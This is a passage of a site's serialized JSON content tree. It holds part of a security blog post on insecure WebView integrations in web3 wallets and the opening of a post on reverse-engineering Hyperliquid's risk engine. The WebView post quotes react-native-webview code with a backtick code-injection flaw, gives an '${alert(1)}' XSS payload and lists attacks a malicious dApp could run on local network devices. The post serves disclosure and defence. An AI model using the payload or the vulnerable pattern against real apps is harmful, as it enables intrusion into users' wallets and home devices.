",{"type":23,"tag":481,"props":155758,"children":155759},{"style":497},[155760],{"type":28,"value":31625},{"type":23,"tag":481,"props":155762,"children":155763},{"style":508},[155764],{"type":28,"value":661},{"type":23,"tag":481,"props":155766,"children":155767},{"style":514},[155768],{"type":28,"value":199},{"type":23,"tag":481,"props":155770,"children":155771},{"style":508},[155772],{"type":28,"value":155773},"longitude",{"type":23,"tag":481,"props":155775,"children":155776},{"style":514},[155777],{"type":28,"value":199},{"type":23,"tag":481,"props":155779,"children":155780},{"style":610},[155781],{"type":28,"value":155731},{"type":23,"tag":481,"props":155783,"children":155784},{"style":514},[155785],{"type":28,"value":618},{"type":23,"tag":481,"props":155787,"children":155788},{"style":551},[155789],{"type":28,"value":1558},{"type":23,"tag":481,"props":155791,"children":155792},{"style":514},[155793],{"type":28,"value":642},{"type":23,"tag":481,"props":155795,"children":155796},{"style":497},[155797],{"type":28,"value":31657},{"type":23,"tag":481,"props":155799,"children":155800},{"style":1805},[155801],{"type":28,"value":7867},{"type":23,"tag":481,"props":155803,"children":155804},{"style":514},[155805],{"type":28,"value":528},{"type":23,"tag":481,"props":155807,"children":155808},{"class":483,"line":21293},[155809,155814,155818,155822,155827,155831,155835],{"type":23,"tag":481,"props":155810,"children":155811},{"style":514},[155812],{"type":28,"value":155813}," }, ",{"type":23,"tag":481,"props":155815,"children":155816},{"style":508},[155817],{"type":28,"value":45945},{"type":23,"tag":481,"props":155819,"children":155820},{"style":497},[155821],{"type":28,"value":25264},{"type":23,"tag":481,"props":155823,"children":155824},{"style":610},[155825],{"type":28,"value":155826}," alert",{"type":23,"tag":481,"props":155828,"children":155829},{"style":514},[155830],{"type":28,"value":618},{"type":23,"tag":481,"props":155832,"children":155833},{"style":508},[155834],{"type":28,"value":45945},{"type":23,"tag":481,"props":155836,"children":155837},{"style":514},[155838],{"type":28,"value":4701},{"type":23,"tag":481,"props":155840,"children":155841},{"class":483,"line":21330},[155842],{"type":23,"tag":481,"props":155843,"children":155844},{"style":514},[155845],{"type":28,"value":45599},{"type":23,"tag":481,"props":155847,"children":155848},{"class":483,"line":21343},[155849],{"type":23,"tag":481,"props":155850,"children":155851},{"emptyLinePlaceholder":15},[155852],{"type":28,"value":1210},{"type":23,"tag":481,"props":155854,"children":155855},{"class":483,"line":21356},[155856],{"type":23,"tag":481,"props":155857,"children":155858},{"style":514},[155859],{"type":28,"value":870},{"type":23,"tag":481,"props":155861,"children":155862},{"class":483,"line":21369},[155863,155868],{"type":23,"tag":481,"props":155864,"children":155865},{"style":610},[155866],{"type":28,"value":155867}," main",{"type":23,"tag":481,"props":155869,"children":155870},{"style":514},[155871],{"type":28,"value":1201},{"type":23,"tag":481,"props":155873,"children":155874},{"class":483,"line":21423},[155875,155879,155883],{"type":23,"tag":481,"props":155876,"children":155877},{"style":29891},[155878],{"type":28,"value":30344},{"type":23,"tag":481,"props":155880,"children":155881},{"style":497},[155882],{"type":28,"value":29931},{"type":23,"tag":481,"props":155884,"children":155885},{"style":29891},[155886],{"type":28,"value":3469},{"type":23,"tag":481,"props":155888,"children":155889},{"class":483,"line":21432},[155890,155894,155898],{"type":23,"tag":481,"props":155891,"children":155892},{"style":29891},[155893],{"type":28,"value":29945},{"type":23,"tag":481,"props":155895,"children":155896},{"style":497},[155897],{"type":28,"value":29915},{"type":23,"tag":481,"props":155899,"children":155900},{"style":29891},[155901],{"type":28,"value":3469},{"type":23,"tag":481,"props":155903,"children":155904},{"class":483,"line":29796},[155905,155909,155913],{"type":23,"tag":481,"props":155906,"children":155907},{"style":29891},[155908],{"type":28,"value":29945},{"type":23,"tag":481,"props":155910,"children":155911},{"style":497},[155912],{"type":28,"value":29898},{"type":23,"tag":481,"props":155914,"children":155915},{"style":29891},[155916],{"type":28,"value":3469},{"type":23,"tag":16388,"props":155918,"children":155919},{"id":1773},[155920],{"type":28,"value":1776},{"type":23,"tag":24,"props":155922,"children":155923},{},[155924],{"type":28,"value":155925},"Unfortunately, there's no simple solution for fixing this vulnerability, as most libraries don't offer an easy to enable feature flag. Each wallet should be mindful of the libraries they use and subsequently manually implement measures to mitigate this.",{"type":23,"tag":24,"props":155927,"children":155928},{},[155929,155931,155937],{"type":28,"value":155930},"A good baseline for patches like this is Metamask. Their patch for React Native WebView can be found ",{"type":23,"tag":190,"props":155932,"children":155935},{"href":155933,"rel":155934},"https://github.com/MetaMask/metamask-mobile/blob/53e205520cd571e84fbb443470a6e3654650bad4/.yarn/patches/%40metamask-react-native-webview-npm-14.5.0-b34fed6d50.patch#L13",[194],[155936],{"type":28,"value":45109},{"type":28,"value":199},{"type":23,"tag":28861,"props":155939,"children":155940},{"style":28863},[155941],{"type":23,"tag":149,"props":155942,"children":155946},{"src":155943,"alt":155944,"style":155945},"/posts/insecure-webview-integrations/image2.png","Private Network Access desktop prompt","max-height:144px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":155948,"children":155949},{},[155950],{"type":28,"value":155951},"However, even with this patch applied, the user experience is suboptimal. Since there's no cache mechanism for preserving the users' choice, various clickjacking scenarios can be instantiated for further tricking the user into a permission approval.",{"type":23,"tag":31,"props":155953,"children":155955},{"id":155954},"local-network-access",[155956],{"type":28,"value":155957},"Local Network Access",{"type":23,"tag":24,"props":155959,"children":155960},{},[155961,155963,155970,155972,155978],{"type":28,"value":155962},"Modern browsers like Chrome have introduced strict protections around access to a user's local network. When a webpage attempts to send requests to servers on the local network or any private IP range, Chrome will prompt the user for explicit permission before allowing the request to proceed. This is part of the ",{"type":23,"tag":190,"props":155964,"children":155967},{"href":155965,"rel":155966},"https://wicg.github.io/private-network-access/",[194],[155968],{"type":28,"value":155969},"Private Network Access",{"type":28,"value":155971}," specification, and the permission prompt is deliberately restricted to secure contexts (HTTPS) to prevent insecure pages from using local network access as a stepping stone to more serious attacks like remote code execution. There are numerous examples available online detailing the implications of these protections ",{"type":23,"tag":190,"props":155973,"children":155976},{"href":155974,"rel":155975},"https://x.com/taviso/status/2051310678800253318",[194],[155977],{"type":28,"value":155974},{"type":28,"value":155979},". Google's Chrome was one of the first browsers to implement this protection on their desktop application.",{"type":23,"tag":28861,"props":155981,"children":155982},{"style":28863},[155983],{"type":23,"tag":149,"props":155984,"children":155987},{"src":155985,"alt":155944,"style":155986},"/posts/insecure-webview-integrations/image3.png","max-height:240px; width:auto; max-width:100%;",[],{"type":23,"tag":24,"props":155989,"children":155990},{},[155991],{"type":28,"value":155992},"WebViews, however, do not enforce this restriction. When a dApp is loaded inside a wallet's WebView, it can freely send requests to any host on the user's local network, including routers, NAS devices, smart home hubs, IP cameras, or any other IoT device without triggering any permission prompt whatsoever. The user has no visibility into this happening. See an example of this below.",{"type":23,"tag":155994,"props":155995,"children":155998},"zoom-image",{"src":155996,"alt":155997},"/posts/insecure-webview-integrations/image4.png","Private Network Access demo",[],{"type":23,"tag":24,"props":156000,"children":156001},{},[156002],{"type":28,"value":156003},"The consequences can increase the impact of certain issues. Local network devices are frequently unpatched, rely on default credentials, and expose administrative interfaces that were never designed to be reachable from an external webpage. An attacker-controlled dApp could:",{"type":23,"tag":14178,"props":156005,"children":156006},{},[156007,156012,156017],{"type":23,"tag":77,"props":156008,"children":156009},{},[156010],{"type":28,"value":156011},"Exfiltrate device information from admin panels or unauthenticated API endpoints exposed by routers or IoT devices.",{"type":23,"tag":77,"props":156013,"children":156014},{},[156015],{"type":28,"value":156016},"Perform authenticated actions against devices that rely on network-locality as their only access control (a common pattern in consumer IoT).",{"type":23,"tag":77,"props":156018,"children":156019},{},[156020],{"type":28,"value":156021},"Exploit known CVEs in firmware by sending crafted requests to a device whose vulnerability is already public, potentially achieving remote code execution on that device.",{"type":23,"tag":24,"props":156023,"children":156024},{},[156025],{"type":28,"value":156026},"A user who has installed a reputable web3 wallet has no reason to suspect that browsing via a malicious dApp within that wallet could result in their home devices being probed.",{"type":23,"tag":31,"props":156028,"children":156030},{"id":156029},"uxss-by-code-injection",[156031],{"type":28,"value":156032},"UXSS by Code Injection",{"type":23,"tag":24,"props":156034,"children":156035},{},[156036,156038,156044],{"type":28,"value":156037},"Another sink we found in react-native-webview by just skimming through the code was how the ",{"type":23,"tag":64,"props":156039,"children":156041},{"className":156040},[],[156042],{"type":28,"value":156043},"injectJavascriptObject",{"type":28,"value":156045}," attribute worked. Here is the code snippet:",{"type":23,"tag":435,"props":156047,"children":156049},{"className":154285,"code":156048,"language":154287,"meta":7,"style":7}," private void injectJavascriptObject() {\n if (getSettings().getJavaScriptEnabled()) {\n String js = \"(function(){\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \" = window.\" + JAVASCRIPT_INTERFACE + \" || {};\\n\" +\n \" window.\" + JAVASCRIPT_INTERFACE + \".injectedObjectJson = function () { return \" + (injectedJavaScriptObject == null ? null : (\"`\" + injectedJavaScriptObject + \"`\")) + \"; };\\n\" +\n \"})();\";\n evaluateJavascriptWithFallback(js);\n }\n",[156050],{"type":23,"tag":64,"props":156051,"children":156052},{"__ignoreMap":7},[156053,156073,156102,156136,156191,156296,156308,156321],{"type":23,"tag":481,"props":156054,"children":156055},{"class":483,"line":484},[156056,156060,156064,156069],{"type":23,"tag":481,"props":156057,"children":156058},{"style":497},[156059],{"type":28,"value":68313},{"type":23,"tag":481,"props":156061,"children":156062},{"style":943},[156063],{"type":28,"value":48575},{"type":23,"tag":481,"props":156065,"children":156066},{"style":610},[156067],{"type":28,"value":156068}," injectJavascriptObject",{"type":23,"tag":481,"props":156070,"children":156071},{"style":525},[156072],{"type":28,"value":13226},{"type":23,"tag":481,"props":156074,"children":156075},{"class":483,"line":351},[156076,156080,156084,156089,156093,156098],{"type":23,"tag":481,"props":156077,"children":156078},{"style":535},[156079],{"type":28,"value":36805},{"type":23,"tag":481,"props":156081,"children":156082},{"style":525},[156083],{"type":28,"value":578},{"type":23,"tag":481,"props":156085,"children":156086},{"style":610},[156087],{"type":28,"value":156088},"getSettings",{"type":23,"tag":481,"props":156090,"children":156091},{"style":525},[156092],{"type":28,"value":27682},{"type":23,"tag":481,"props":156094,"children":156095},{"style":610},[156096],{"type":28,"value":156097},"getJavaScriptEnabled",{"type":23,"tag":481,"props":156099,"children":156100},{"style":525},[156101],{"type":28,"value":89553},{"type":23,"tag":481,"props":156103,"children":156104},{"class":483,"line":531},[156105,156110,156115,156119,156124,156128,156132],{"type":23,"tag":481,"props":156106,"children":156107},{"style":943},[156108],{"type":28,"value":156109}," String",{"type":23,"tag":481,"props":156111,"children":156112},{"style":508},[156113],{"type":28,"value":156114}," js",{"type":23,"tag":481,"props":156116,"children":156117},{"style":514},[156118],{"type":28,"value":517},{"type":23,"tag":481,"props":156120,"children":156121},{"style":1805},[156122],{"type":28,"value":156123}," \"(function(){",{"type":23,"tag":481,"props":156125,"children":156126},{"style":45898},[156127],{"type":28,"value":45901},{"type":23,"tag":481,"props":156129,"children":156130},{"style":1805},[156131],{"type":28,"value":17557},{"type":23,"tag":481,"props":156133,"children":156134},{"style":514},[156135],{"type":28,"value":7272},{"type":23,"tag":481,"props":156137,"children":156138},{"class":483,"line":567},[156139,156144,156148,156153,156157,156162,156166,156170,156174,156179,156183,156187],{"type":23,"tag":481,"props":156140,"children":156141},{"style":1805},[156142],{"type":28,"value":156143}," \" window.\"",{"type":23,"tag":481,"props":156145,"children":156146},{"style":514},[156147],{"type":28,"value":6385},{"type":23,"tag":481,"props":156149,"children":156150},{"style":525},[156151],{"type":28,"value":156152}," JAVASCRIPT_INTERFACE ",{"type":23,"tag":481,"props":156154,"children":156155},{"style":514},[156156],{"type":28,"value":1930},{"type":23,"tag":481,"props":156158,"children":156159},{"style":1805},[156160],{"type":28,"value":156161}," \" = window.\"",{"type":23,"tag":481,"props":156163,"children":156164},{"style":514},[156165],{"type":28,"value":6385},{"type":23,"tag":481,"props":156167,"children":156168},{"style":525},[156169],{"type":28,"value":156152},{"type":23,"tag":481,"props":156171,"children":156172},{"style":514},[156173],{"type":28,"value":1930},{"type":23,"tag":481,"props":156175,"children":156176},{"style":1805},[156177],{"type":28,"value":156178}," \" || {};",{"type":23,"tag":481,"props":156180,"children":156181},{"style":45898},[156182],{"type":28,"value":45901},{"type":23,"tag":481,"props":156184,"children":156185},{"style":1805},[156186],{"type":28,"value":17557},{"type":23,"tag":481,"props":156188,"children":156189},{"style":514},[156190],{"type":28,"value":7272},{"type":23,"tag":481,"props":156192,"children":156193},{"class":483,"line":678},[156194,156198,156202,156206,156210,156215,156219,156224,156228,156232,156236,156240,156244,156248,156253,156257,156262,156266,156271,156275,156279,156284,156288,156292],{"type":23,"tag":481,"props":156195,"children":156196},{"style":1805},[156197],{"type":28,"value":156143},{"type":23,"tag":481,"props":156199,"children":156200},{"style":514},[156201],{"type":28,"value":6385},{"type":23,"tag":481,"props":156203,"children":156204},{"style":525},[156205],{"type":28,"value":156152},{"type":23,"tag":481,"props":156207,"children":156208},{"style":514},[156209],{"type":28,"value":1930},{"type":23,"tag":481,"props":156211,"children":156212},{"style":1805},[156213],{"type":28,"value":156214}," \".injectedObjectJson = function () { return \"",{"type":23,"tag":481,"props":156216,"children":156217},{"style":514},[156218],{"type":28,"value":6385},{"type":23,"tag":481,"props":156220,"children":156221},{"style":525},[156222],{"type":28,"value":156223}," (injectedJavaScriptObject ",{"type":23,"tag":481,"props":156225,"children":156226},{"style":514},[156227],{"type":28,"value":6055},{"type":23,"tag":481,"props":156229,"children":156230},{"style":497},[156231],{"type":28,"value":67799},{"type":23,"tag":481,"props":156233,"children":156234},{"style":535},[156235],{"type":28,"value":95573},{"type":23,"tag":481,"props":156237,"children":156238},{"style":497},[156239],{"type":28,"value":67799},{"type":23,"tag":481,"props":156241,"children":156242},{"style":535},[156243],{"type":28,"value":32633},{"type":23,"tag":481,"props":156245,"children":156246},{"style":525},[156247],{"type":28,"value":578},{"type":23,"tag":481,"props":156249,"children":156250},{"style":1805},[156251],{"type":28,"value":156252},"\"`\"",{"type":23,"tag":481,"props":156254,"children":156255},{"style":514},[156256],{"type":28,"value":6385},{"type":23,"tag":481,"props":156258,"children":156259},{"style":525},[156260],{"type":28,"value":156261}," injectedJavaScriptObject ",{"type":23,"tag":481,"props":156263,"children":156264},{"style":514},[156265],{"type":28,"value":1930},{"type":23,"tag":481,"props":156267,"children":156268},{"style":1805},[156269],{"type":28,"value":156270}," \"`\"",{"type":23,"tag":481,"props":156272,"children":156273},{"style":525},[156274],{"type":28,"value":6317},{"type":23,"tag":481,"props":156276,"children":156277},{"style":514},[156278],{"type":28,"value":1930},{"type":23,"tag":481,"props":156280,"children":156281},{"style":1805},[156282],{"type":28,"value":156283}," \"; };",{"type":23,"tag":481,"props":156285,"children":156286},{"style":45898},[156287],{"type":28,"value":45901},{"type":23,"tag":481,"props":156289,"children":156290},{"style":1805},[156291],{"type":28,"value":17557},{"type":23,"tag":481,"props":156293,"children":156294},{"style":514},[156295],{"type":28,"value":7272},{"type":23,"tag":481,"props":156297,"children":156298},{"class":483,"line":784},[156299,156304],{"type":23,"tag":481,"props":156300,"children":156301},{"style":1805},[156302],{"type":28,"value":156303}," \"})();\"",{"type":23,"tag":481,"props":156305,"children":156306},{"style":525},[156307],{"type":28,"value":528},{"type":23,"tag":481,"props":156309,"children":156310},{"class":483,"line":812},[156311,156316],{"type":23,"tag":481,"props":156312,"children":156313},{"style":610},[156314],{"type":28,"value":156315}," evaluateJavascriptWithFallback",{"type":23,"tag":481,"props":156317,"children":156318},{"style":525},[156319],{"type":28,"value":156320},"(js);\n",{"type":23,"tag":481,"props":156322,"children":156323},{"class":483,"line":825},[156324],{"type":23,"tag":481,"props":156325,"children":156326},{"style":525},[156327],{"type":28,"value":10151},{"type":23,"tag":24,"props":156329,"children":156330},{},[156331,156333,156339,156341,156346,156348,156354],{"type":28,"value":156332},"It basically injects a javascript code with the ",{"type":23,"tag":64,"props":156334,"children":156336},{"className":156335},[],[156337],{"type":28,"value":156338},"injectedJavascriptObject",{"type":28,"value":156340}," wrapped by backticks (`). If you are familiar with javascript, you can immediately see that this enables code injection if we partially control ",{"type":23,"tag":64,"props":156342,"children":156344},{"className":156343},[],[156345],{"type":28,"value":156338},{"type":28,"value":156347},". If we control a single attribute we can inject a payload like ",{"type":23,"tag":64,"props":156349,"children":156351},{"className":156350},[],[156352],{"type":28,"value":156353},"${alert(1)}",{"type":28,"value":156355}," and achieve XSS in the context of the loaded page.",{"type":23,"tag":24,"props":156357,"children":156358},{},[156359,156361,156368],{"type":28,"value":156360},"Then, when scrolling through the open PRs, we saw that there is one that fixes exactly this problem, though we were not the first ones to find it (that's ok, it is a pretty easy bug to find). Here is the ",{"type":23,"tag":190,"props":156362,"children":156365},{"href":156363,"rel":156364},"https://github.com/react-native-webview/react-native-webview/pull/3929/changes",[194],[156366],{"type":28,"value":156367},"PR with the report and fix",{"type":28,"value":199},{"type":23,"tag":24,"props":156370,"children":156371},{},[156372],{"type":28,"value":156373},"The vulnerability is still in the code since the PR has not been merged yet and, since the PR is public, everyone can see the bug. This is indeed the library's fault, but tells us that another thing to keep an eye on is unmerged PRs that fix vulnerabilities. Ideally, an open source library should have a security policy with a contact method so security researchers can report vulnerabilities without making them public. This is because once it is public, more people acknowledge the bug and it is more likely to be exploited in the wild.",{"type":23,"tag":24,"props":156375,"children":156376},{},[156377,156379,156385],{"type":28,"value":156378},"If you want to see if your application is vulnerable, you can simply check if you are injecting ",{"type":23,"tag":64,"props":156380,"children":156382},{"className":156381},[],[156383],{"type":28,"value":156384},"injectedJavaScriptObject",{"type":28,"value":156386}," with some user-provided input, if so, it is recommended to manually merge the PR and rebuild your application with the patched library.",{"type":23,"tag":7092,"props":156388,"children":156389},{"id":26445},[156390],{"type":28,"value":16443},{"type":23,"tag":24,"props":156392,"children":156393},{},[156394],{"type":28,"value":156395},"Most WebView articles focus on classic URL spoofing. In wallet apps, the more interesting problems usually come from capability inheritance: a WebView quietly benefits from permissions granted to the host app and small integration assumptions turn into serious impact.",{"type":23,"tag":2918,"props":156397,"children":156398},{},[156399],{"type":28,"value":2922},{"title":7,"searchDepth":351,"depth":351,"links":156401},[156402,156406,156409,156410],{"id":154125,"depth":351,"text":154128,"children":156403},[156404,156405],{"id":154136,"depth":531,"text":154139},{"id":154211,"depth":531,"text":154214},{"id":154244,"depth":351,"text":154247,"children":156407},[156408],{"id":154434,"depth":531,"text":154437},{"id":155954,"depth":351,"text":155957},{"id":156029,"depth":351,"text":156032,"children":156411},[156412],{"id":26445,"depth":531,"text":16443},"content:blog:2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations.md","blog/2026-06-18-goldmine-of-insecure-webview-integrations",{"_path":156417,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":156418,"description":156419,"date":156420,"author":156421,"image":156422,"isFeatured":15,"onBlogPage":15,"tags":156426,"hideToc":15,"body":156430,"_type":358,"_id":163069,"_source":360,"_file":163070,"_stem":163071,"_extension":363},"/blog/2026-06-22-hyperliquid-risk-engine","Auto reverse-engineering the Hyperliquid risk engine, with some agentic help","Perps allow traders to leverage beyond their collateral, until the market turns abruptly and losses are clawed back. We auto-reverse engineer Hyperliquid's risk engine to show how it ranks and deleverages winning users under the solvency–fairness–revenue trilemma.","2026-06-22T12:00:00.000Z","renato",{"src":156423,"width":156424,"height":156425},"/posts/hyperliquid-risk-engine/title.png",1456,816,[156427,156428,156429],"hyperliquid","reverse-engineering","defi",{"type":20,"children":156431,"toc":163041},[156432,156438,156446,156451,156456,156461,156473,156478,156491,156510,156516,156528,156541,156546,156577,156582,156595,156600,156791,156797,156802,156814,156820,156825,156831,156844,156878,156883,156888,156900,156906,156926,156934,156947,156953,156964,156970,156982,156987,156993,157013,157021,157027,157061,157065,157101,157106,157111,157116,157129,157166,157171,157185,157191,157196,157222,157230,157235,157263,157268,157273,157611,157616,157621,157641,157668,157673,157686,157698,157703,157708,157714,157719,157724,157738,157743,157749,157777,157814,157825,157829,157834,157839,157845,158011,158046,158051,158057,158063,158252,158265,158270,158276,158297,158302,158308,158313,158318,158330,158335,158340,158346,158351,158356,158362,158368,158381,158414,158419,160995,161263,161268,162598,162603,162608,162620,162711,162723,162728,162734,162739,162747,162752,162760,162766,162800,162811,162819,162825,162831,162836,162844,162849,162854,162862,162874,162880,162885,162891,162902,162907,162913,162918,162923,162929,162934,162937,162942,162947,162953,162958,162970,162975,162980],{"type":23,"tag":31,"props":156433,"children":156435},{"id":156434},"perpetuals",[156436],{"type":28,"value":156437},"Perpetuals",{"type":23,"tag":426,"props":156439,"children":156440},{},[156441],{"type":23,"tag":24,"props":156442,"children":156443},{},[156444],{"type":28,"value":156445},"A perpetual is a bet on a price, usually leveraged, settled in stablecoins, with no expiry: a row in the exchange's ledger, backed by margin (a fraction of the position's notional), where one side's gains are the other side's losses on the same book.",{"type":23,"tag":24,"props":156447,"children":156448},{},[156449],{"type":28,"value":156450},"What does that even have to do with reverse engineering?",{"type":23,"tag":31,"props":156452,"children":156453},{"id":156427},[156454],{"type":28,"value":156455},"Hyperliquid",{"type":23,"tag":24,"props":156457,"children":156458},{},[156459],{"type":28,"value":156460},"Hyperliquid is a decentralized perpetuals exchange. It runs on its own\nL1, released publicly for anybody to run, but closed source.\nThe order book and the risk engine live on-chain, and thus inside of the L1 node binary, sitting between users and the shared\nbalance sheet they're all betting against.",{"type":23,"tag":24,"props":156462,"children":156463},{},[156464,156466,156471],{"type":28,"value":156465},"The node is tasked with a ",{"type":23,"tag":127,"props":156467,"children":156468},{},[156469],{"type":28,"value":156470},"very hard problem",{"type":28,"value":156472},": keeping the books balanced\nwhen leverage makes it possible for one side of every trade to lose more than their margin covers.",{"type":23,"tag":24,"props":156474,"children":156475},{},[156476],{"type":28,"value":156477},"Implementing a correct algorithm that solves this question is exactly what keeps the exchange solvent: this is also why peering into the actual implementation is very intriguing from a security standpoint.",{"type":23,"tag":24,"props":156479,"children":156480},{},[156481,156483,156489],{"type":28,"value":156482},"Beyond that, the ",{"type":23,"tag":64,"props":156484,"children":156486},{"className":156485},[],[156487],{"type":28,"value":156488},"hl-node",{"type":28,"value":156490}," binary also offers an additional technical thrill: it is written in Rust, which is notoriously hard to reverse engineer.",{"type":23,"tag":24,"props":156492,"children":156493},{},[156494,156496,156501,156503,156508],{"type":28,"value":156495},"Armed with some curiosity, a good amount of ",{"type":23,"tag":127,"props":156497,"children":156498},{},[156499],{"type":28,"value":156500},"inference",{"type":28,"value":156502},", and the right tooling, we'll take a deep dive using an ",{"type":23,"tag":127,"props":156504,"children":156505},{},[156506],{"type":28,"value":156507},"interactive interface",{"type":28,"value":156509},", which will hopefully make the reconstructed code easier to understand for anybody, while also giving reverse engineers something to learn and a fun tool to play around with.",{"type":23,"tag":31,"props":156511,"children":156513},{"id":156512},"the-million-dollar-question",[156514],{"type":28,"value":156515},"The Million Dollar Question",{"type":23,"tag":24,"props":156517,"children":156518},{},[156519,156521,156526],{"type":28,"value":156520},"Let's say a terrible trader opens a ",{"type":23,"tag":127,"props":156522,"children":156523},{},[156524],{"type":28,"value":156525},"50x",{"type":28,"value":156527}," leveraged position on Hyperliquid. How does the exchange avoid losing money from their eventual downfall?",{"type":23,"tag":24,"props":156529,"children":156530},{},[156531,156533,156539],{"type":28,"value":156532},"When the market turns against them, the first check they would encounter is the traditional liquidation: their position is automatically put up on the market on the opposite side of the book. This happens whenever the equity of the position drops below the maintenance margin, which is spelled out exactly in the ",{"type":23,"tag":64,"props":156534,"children":156536},{"className":156535},[],[156537],{"type":28,"value":156538},"compute_margin_requirement_by_mode",{"type":28,"value":156540}," function.",{"type":23,"tag":24,"props":156542,"children":156543},{},[156544],{"type":28,"value":156545},"Let's consider the simplest case, that being isolated positions, which are processed in this branch:",{"type":23,"tag":156547,"props":156548,"children":156549},"tip",{},[156550],{"type":23,"tag":24,"props":156551,"children":156552},{},[156553,156555,156560,156562,156569,156571,156576],{"type":28,"value":156554},"To get a clearer view of the logic of reconstructed snippets, click on them to ",{"type":23,"tag":127,"props":156556,"children":156557},{},[156558],{"type":28,"value":156559},"click through",{"type":28,"value":156561}," each action performed by ",{"type":23,"tag":190,"props":156563,"children":156566},{"href":156564,"rel":156565},"https://github.com/renato-osec/patina-research",[194],[156567],{"type":28,"value":156568},"our Rust reverse engineering agent",{"type":28,"value":156570},". Return to the regular view by clicking ",{"type":23,"tag":64,"props":156572,"children":156574},{"className":156573},[],[156575],{"type":28,"value":3464},{"type":28,"value":199},{"type":23,"tag":156578,"props":156579,"children":156581},"bndb-viewer-embed",{"addr":156580,"line-start":1558,"line-end":132086},"0x555556bb4d20",[],{"type":23,"tag":24,"props":156583,"children":156584},{},[156585,156587,156593],{"type":28,"value":156586},"The view here displays the reconstructed source code, through various stages starting from raw pseudo-C, with several verified agentic \"actions\" applied to it by our Rust decompiler. For example, you can see how some tentative Rust types, like ",{"type":23,"tag":64,"props":156588,"children":156590},{"className":156589},[],[156591],{"type":28,"value":156592},"OptionUnitQty",{"type":28,"value":156594},", are recovered: based on our harness, we can be sure that those are compatible with the original source types.",{"type":23,"tag":24,"props":156596,"children":156597},{},[156598],{"type":28,"value":156599},"As you can see, the position's equity is its isolated margin plus its own PnL, and the threshold reduces to:",{"type":23,"tag":435,"props":156601,"children":156602},{},[156603],{"type":23,"tag":64,"props":156604,"children":156607},{"className":156605},[1527,156606],"math-display",[156608],{"type":23,"tag":481,"props":156609,"children":156612},{"className":156610},[156611],"katex-display",[156613],{"type":23,"tag":481,"props":156614,"children":156616},{"className":156615},[1533],[156617],{"type":23,"tag":481,"props":156618,"children":156620},{"className":156619,"ariaHidden":1539},[1538],[156621,156652],{"type":23,"tag":481,"props":156622,"children":156624},{"className":156623},[1544],[156625,156629,156639,156643,156648],{"type":23,"tag":481,"props":156626,"children":156628},{"className":156627,"style":91992},[1549],[],{"type":23,"tag":481,"props":156630,"children":156632},{"className":156631},[1555,28],[156633],{"type":23,"tag":481,"props":156634,"children":156636},{"className":156635},[1555],[156637],{"type":28,"value":156638},"liq_equity",{"type":23,"tag":481,"props":156640,"children":156642},{"className":156641,"style":1734},[1636],[],{"type":23,"tag":481,"props":156644,"children":156646},{"className":156645},[1739],[156647],{"type":28,"value":603},{"type":23,"tag":481,"props":156649,"children":156651},{"className":156650,"style":1734},[1636],[],{"type":23,"tag":481,"props":156653,"children":156655},{"className":156654},[1544],[156656,156661],{"type":23,"tag":481,"props":156657,"children":156660},{"className":156658,"style":156659},[1549],"height:2.3074em;vertical-align:-0.8804em;",[],{"type":23,"tag":481,"props":156662,"children":156664},{"className":156663},[1555],[156665,156669,156787],{"type":23,"tag":481,"props":156666,"children":156668},{"className":156667},[19215,111097],[],{"type":23,"tag":481,"props":156670,"children":156672},{"className":156671},[111102],[156673],{"type":23,"tag":481,"props":156674,"children":156676},{"className":156675},[1577,19140],[156677,156775],{"type":23,"tag":481,"props":156678,"children":156680},{"className":156679},[1582],[156681,156770],{"type":23,"tag":481,"props":156682,"children":156685},{"className":156683,"style":156684},[1587],"height:1.427em;",[156686,156726,156737],{"type":23,"tag":481,"props":156687,"children":156689},{"style":156688},"top:-2.314em;",[156690,156694],{"type":23,"tag":481,"props":156691,"children":156693},{"className":156692,"style":109750},[1596],[],{"type":23,"tag":481,"props":156695,"children":156697},{"className":156696},[1555],[156698,156703,156707,156712,156716],{"type":23,"tag":481,"props":156699,"children":156701},{"className":156700},[1555],[156702],{"type":28,"value":637},{"type":23,"tag":481,"props":156704,"children":156706},{"className":156705,"style":1637},[1636],[],{"type":23,"tag":481,"props":156708,"children":156710},{"className":156709},[1642],[156711],{"type":28,"value":108841},{"type":23,"tag":481,"props":156713,"children":156715},{"className":156714,"style":1637},[1636],[],{"type":23,"tag":481,"props":156717,"children":156719},{"className":156718},[1555,28],[156720],{"type":23,"tag":481,"props":156721,"children":156723},{"className":156722},[1555],[156724],{"type":28,"value":156725},"leverage",{"type":23,"tag":481,"props":156727,"children":156728},{"style":111152},[156729,156733],{"type":23,"tag":481,"props":156730,"children":156732},{"className":156731,"style":109750},[1596],[],{"type":23,"tag":481,"props":156734,"children":156736},{"className":156735,"style":111162},[111161],[],{"type":23,"tag":481,"props":156738,"children":156740},{"style":156739},"top:-3.677em;",[156741,156745],{"type":23,"tag":481,"props":156742,"children":156744},{"className":156743,"style":109750},[1596],[],{"type":23,"tag":481,"props":156746,"children":156748},{"className":156747},[1555],[156749,156755,156765],{"type":23,"tag":481,"props":156750,"children":156752},{"className":156751},[1555],[156753],{"type":28,"value":156754},"∣",{"type":23,"tag":481,"props":156756,"children":156758},{"className":156757},[1555,28],[156759],{"type":23,"tag":481,"props":156760,"children":156762},{"className":156761},[1555],[156763],{"type":28,"value":156764},"notional",{"type":23,"tag":481,"props":156766,"children":156768},{"className":156767},[1555],[156769],{"type":28,"value":156754},{"type":23,"tag":481,"props":156771,"children":156773},{"className":156772},[19243],[156774],{"type":28,"value":19246},{"type":23,"tag":481,"props":156776,"children":156778},{"className":156777},[1582],[156779],{"type":23,"tag":481,"props":156780,"children":156783},{"className":156781,"style":156782},[1587],"height:0.8804em;",[156784],{"type":23,"tag":481,"props":156785,"children":156786},{},[],{"type":23,"tag":481,"props":156788,"children":156790},{"className":156789},[19237,111097],[],{"type":23,"tag":31,"props":156792,"children":156794},{"id":156793},"what-if-nobody-wants-to-buy-the-position",[156795],{"type":28,"value":156796},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":24,"props":156798,"children":156799},{},[156800],{"type":28,"value":156801},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":24,"props":156803,"children":156804},{},[156805,156807,156812],{"type":28,"value":156806},"When that happens, the exchange is basically left 